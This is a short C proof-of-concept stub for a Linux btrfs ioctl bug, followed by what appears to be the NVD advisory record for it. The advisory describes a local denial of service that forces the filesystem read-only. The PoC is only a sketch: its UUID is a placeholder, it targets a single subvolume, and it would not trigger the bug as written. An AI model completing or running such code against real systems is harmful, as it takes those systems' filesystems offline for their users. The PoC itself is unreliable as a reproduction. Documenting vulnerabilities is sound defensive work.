CVE-2026-43359

#include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/btrfs.h> // This is a conceptual PoC for CVE-2026-43359 // Logic: Call BTRFS_IOC_SET_RECEIVED_SUBVOL repeatedly on many subvolumes // with the same UUID to trigger item overflow. int main() { int fd = open("/mnt/btrfs_subvol", O_RDONLY); if (fd < 0) return 1; struct btrfs_ioctl_received_subvol_args args; // Fill args with a specific UUID memset(&args, 0, sizeof(args)); // ... set args.uuid ... // Loop to trigger overflow for(int i=0; i<10000; i++) { // In a real scenario, this would target multiple subvolumes or // manipulate the filesystem structure to hit the limit. ioctl(fd, BTRFS_IOC_SET_RECEIVED_SUBVOL, &args); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43359", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:46.717", "lastModified": "2026-05-15T13:32:58.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix transaction abort on set received ioctl due to item overflow\n\nIf the set received ioctl fails due to an item overflow when attempting to\nadd the BTRFS_UUID_KEY_RECEIVED_SUBVOL we have to abort the transaction\nsince we did some metadata updates before.\n\nThis means that if a user calls this ioctl with the same received UUID\nfield for a lot of subvolumes, we will hit the overflow, trigger the\ntransaction abort and turn the filesystem into RO mode. A malicious user\ncould exploit this, and this ioctl does not even requires that a user\nhas admin privileges (CAP_SYS_ADMIN), only that he/she owns the subvolume.\n\nFix this by doing an early check for item overflow before starting a\ntransaction. This is also race safe because we are holding the subvol_sem\nsemaphore in exclusive (write) mode.\n\nA test case for fstests will follow soon."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.12", "versionEndExcluding": "6.1.167", "matchCriteriaId": "02E7A70D-F1C7-443F-9AC7-20EDD914F45D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2e57b8cac2ba0d38aac76c1ecdfd8b899e3581a5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/41fb97353ff58fa4f31904c343fc8e3df2f7517d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/87f2c46003fce4d739138aab4af1942b1afdadac", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b19c0465e4daad5aa8f60552ea0578cf31a11b1e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b9914db13ac15aca3b74544c0bb1a2e0dad1f174", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d11aefe654a04fc41996d254748d6a38b6b0a7be", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}